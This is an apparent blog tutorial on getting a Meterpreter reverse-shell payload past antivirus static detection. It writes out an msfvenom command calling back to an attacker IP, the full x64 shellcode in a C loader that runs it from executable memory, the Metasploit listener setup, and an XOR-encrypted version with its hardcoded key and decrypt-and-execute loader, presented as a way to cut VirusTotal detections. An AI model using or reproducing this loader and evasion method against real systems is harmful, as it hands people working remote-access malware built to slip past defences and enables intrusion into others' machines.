Encrypted shellcode execution

5 min readAug 29, 2023

Static Detection

Static detection is how AVs analyze files or code without executing them. It involves examining the characteristics, structure, and content of a file to determine whether the file is potentially malicious. In essence, it employs pattern-matching techniques in detection, such as identifying unique strings, CRC checksums, sequences of bytecode/Hex values, and cryptographic hashes (MD5, SHA1, etc.).

There are a couple of ways to bypass this process, such as encrypting or encoding the code, which can potentially avoid being flagged as malicious. However, it’s important to avoid using well-known encodings or encryption methods with weak keys. Modern AVs can employ brute-force techniques to dissect content encrypted using widely known methods and weak keys. It’s recommended to use strong keys or a combination of well-established encodings to enhance the likelihood of bypassing this check.

In this task, we are going to execute the shellcode generated by msfvenom directly into memory. We will then explore how we can reduce the detection rate by encrypting the hardcoded shellcode, effectively evading static detection.

For a comparative analysis, we will start by executing the standard generated shellcode and then proceed to execute the encrypted version.

Setup:

Linux environment(Attacker)

Metasploit

2. Windows environment(Target)

Disabled windows defender
MinGW-w64 compiler

Download the compiler suite from the link below:

WinLibs - GCC+MinGW-w64 compiler for Windows

WinLibs - MinGW-w64 personal build = GCC for Windows 32-bit and 64-bit - Coming soon: the largest collection of open…

winlibs.com

Follow the tutorial below to install and setup the mingw compilers on your windows machine:

1. Simple Shellcode execution in memory

Generate the Meterpreter shellcode for Windows environment.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.167 LPORT=4443 -f c

2. Write a basic C program to execute shellcode in memory.

#include <stdio.h>
#include <windows.h>

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x65\x48\x8b\x52\x60\x51\x56\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41"
"\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x11\x5b\xc0\xa8\x64\xa7\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";
 
int main(){
  
 void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, shellcode, sizeof shellcode);
 ((void(*)())exec)();
 
    return 0;
}

This code demonstrates the process of dynamically allocating memory, copying shellcode into it, and executing the shellcode.

3. Compiling the code(on windows).

gcc -m64 -g -Wall rev-simple.c -o rev-simple.exe

4. Setup the listener and execute the compiled program.

On your linux machine setup your metasploit listener.

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.100.167
set lport 4443
exploit

Execute the program to get the reverse shell of the machine.

Note: Ensure that you use the -m64 flag during compilation and specify x64 as the architecture when generating the shellcode using msfvenom. It’s crucial to match the architecture settings

When uploaded to VirusTotal, the result showed 23 out of 71 detections. This indicates that the shellcode is widely recognized, and most competent antivirus software will identify it as malicious.

2. XOR-Encrypted shellcode execution

Let’s now attempt to execute the identical shellcode, but this time we’ll embed the encrypted version directly. Additionally, we will implement a routine to decrypt the shellcode before executing it.

Write an encryptor to encrypt the shellcode.

#include <stdio.h>
#include <windows.h>

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x65\x48\x8b\x52\x60\x51\x56\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41"
"\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x11\x5b\xc0\xa8\x64\xa7\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";

int main()
{
 char key[] = "veryhardkey";
 int i = 0;
 
 for (i; i<sizeof(shellcode) - 1; i++){
  printf("\\x%02x",shellcode[i]^key[i%11]);
     
 }

    return 0;

}

This program performs a simple XOR encryption on the provided shellcode using a specified key. Learn more about XOR encrytion here.

2. Compile and execute.

Compile and execute the encryptor.c to get the encrypted shellcode.

gcc -m64 -g -Wall encryptor.c -o encryptor.exe 
.\encryptor.exe

3. Write a C program to decrypt and execute the shellcode.

#include <stdio.h>
#include <windows.h>

unsigned char shellcode[] = 

"\x8a\x2d\xf1\x9d\x98\x89\xbe\x64\x6b\x65\x38\x27\x24\x22\x2b\x20\x50\xa0\x01\x23\xee\x2b\x16\x34\x24\x31\xe3\x33\x6a\x2c\xe0\x37\x59\x3e\xee\x00\x29\x25\x50\xbb\x2c\x64\xd2\x33\x3c\x2d\x43\xb9\xc4\x5d\x13\x18\x69\x49\x59\x37\xa4\xbb\x74\x29\x60\xb3\x86\x86\x37\x31\xfd\x37\x52\x38\x39\xea\x30\x58\x23\x64\xa9\x10\xe4\x0a\x61\x63\x63\x7d\xe1\x19\x65\x79\x76\xee\xf2\xf1\x68\x61\x72\x2c\xee\xa5\x0d\x11\x2d\x73\xa9\x38\xea\x3a\x7c\x2f\xee\x39\x56\x2c\x73\xa9\x8b\x37\x3f\x55\xa2\x2d\x86\xbf\x24\xf9\x4d\xe0\x29\x73\xb2\x23\x54\xb9\x37\xa4\xbb\x74\xc4\x20\x73\xa5\x53\x85\x0c\x87\x29\x71\x35\x4c\x69\x37\x5d\xba\x10\xa1\x2e\x21\xf9\x39\x4c\x28\x73\xb4\x0d\x24\xf2\x7a\x2d\x36\xf2\x28\x7d\x3b\x65\xbb\x24\xf2\x72\xed\x3a\x78\xb8\x20\x2a\x25\x33\x3b\x20\x2c\x24\x2a\x38\x31\x20\x28\x2c\xe8\x89\x59\x37\x37\x8d\x99\x30\x20\x2b\x3e\x23\xee\x6b\x9f\x2e\x8d\x86\x97\x3c\x3b\xda\x1c\x16\x4b\x29\x56\x40\x79\x68\x20\x24\x2d\xe2\x83\x31\xf7\x89\xd2\x78\x68\x61\x3b\xed\x8e\x2c\xc5\x74\x65\x63\x22\xa8\xc9\x16\xc3\x2a\x31\x30\xff\x81\x3e\xf0\x99\x20\xc8\x28\x1c\x43\x7e\x89\xb0\x3e\xf0\x82\x09\x73\x65\x6b\x65\x20\x37\xdf\x5b\xf9\x03\x61\x8d\xb1\x01\x6f\x38\x28\x35\x22\x34\x59\xa8\x3f\x55\xab\x2d\x86\xb6\x2d\xfb\xbb\x20\x9e\xb2\x2c\xe2\xa4\x38\xcc\x8f\x7d\xa6\x88\x9e\xa7\x2c\xe2\xa2\x13\x66\x24\x2a\x35\xe1\x83\x3a\xed\x92\x24\xc3\xef\xc0\x06\x18\x97\xb4\xf7\xa4\x1f\x6f\x30\x89\xab\x07\x9c\x80\xf2\x72\x64\x6b\x2d\xfa\x9a\x75\x3a\xf0\x8a\x2c\x43\xad\x01\x61\x38\x2e\x2d\xfb\x80\x29\xdb\x70\xbd\xa3\x3a\x86\xa3\xe6\x8a\x79\x16\x34\x3a\xe7\xaf\x45\x27\xff\x93\x18\x39\x29\x38\x1a\x64\x7b\x65\x79\x37\x3d\x3a\xf0\x9a\x29\x43\xad\x2a\xdf\x21\xd2\x36\x97\x86\xbd\x29\xfb\xa7\x22\xec\xbe\x3b\x54\xbb\x30\xe1\x91\x3a\xed\xb1\x2d\xf0\x8f\x24\xc8\x7b\xb1\xa9\x2d\x9b\xbe\xe6\x81\x76\x18\x5a\x21\x29\x36\x2b\x0c\x6b\x25\x79\x76\x24\x2a\x13\x68\x3b\x33\xde\x60\x4a\x76\x46\x9a\xa7\x2e\x31\x20\xc8\x11\x05\x28\x18\x89\xb0\x3b\x86\xa6\x88\x4e\x9b\x94\x9a\x31\x77\xa6\x3a\x50\xae\x29\xf7\x92\x1e\xd1\x38\x89\x82\x2a\x13\x68\x38\x3b\xa3\xa9\x95\xcc\xd4\x33\x8d\xac";

int main()
{
 char key[] = "veryhardkey";
 int i = 0;
 
 for (i; i<sizeof(shellcode) - 1; i++){
  shellcode[i] = shellcode[i]^key[i%11];
  
 }
 
 void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, shellcode, sizeof shellcode);
 ((void(*)())exec)();
   
    return 0;

}

This program executes the shellcode, but prior to execution, there is a routine that decrypts the shellcode.

4. Compiling the code(on windows).

gcc -m64 -g -Wall rev-enc.c -o rev-enc.exe

5. Setup the listener and execute the compiled program.